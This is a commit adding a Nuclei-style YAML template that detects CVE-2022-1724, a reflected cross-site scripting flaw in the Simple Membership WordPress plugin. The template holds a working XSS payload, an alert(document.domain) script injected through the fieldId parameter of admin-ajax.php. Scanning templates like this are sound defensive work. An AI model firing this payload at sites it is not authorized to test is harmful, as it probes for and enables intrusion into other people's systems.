Create CVE-2022-1724.yaml
parent
89ca1b1036
commit
c2078ac095
|
@ -0,0 +1,32 @@
|
||||||
|
id: CVE-2022-1724
|
||||||
|
|
||||||
|
info:
|
||||||
|
name: Simple Membership < 4.1.1 - Reflected Cross-Site Scripting
|
||||||
|
author: Akincibor
|
||||||
|
severity: medium
|
||||||
|
description: The plugin does not properly sanitise and escape parameters before outputting them back in AJAX actions, leading to Reflected Cross-Site Scripting.
|
||||||
|
reference:
|
||||||
|
- https://wpscan.com/vulnerability/96a0a667-9c4b-4ea6-b78a-0681e9a9bbae
|
||||||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-1724
|
||||||
|
tags: cve,cve2022,wp-plugin,xss,wp,wordpress
|
||||||
|
|
||||||
|
requests:
|
||||||
|
- method: GET
|
||||||
|
path:
|
||||||
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=swpm_validate_email&fieldId=%22%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
||||||
|
|
||||||
|
matchers-condition: and
|
||||||
|
matchers:
|
||||||
|
- type: word
|
||||||
|
part: body
|
||||||
|
words:
|
||||||
|
- '"<script>alert(document.domain)</script>",'
|
||||||
|
|
||||||
|
- type: word
|
||||||
|
part: header
|
||||||
|
words:
|
||||||
|
- text/html
|
||||||
|
|
||||||
|
- type: status
|
||||||
|
status:
|
||||||
|
- 200
|
Loading…
Reference in New Issue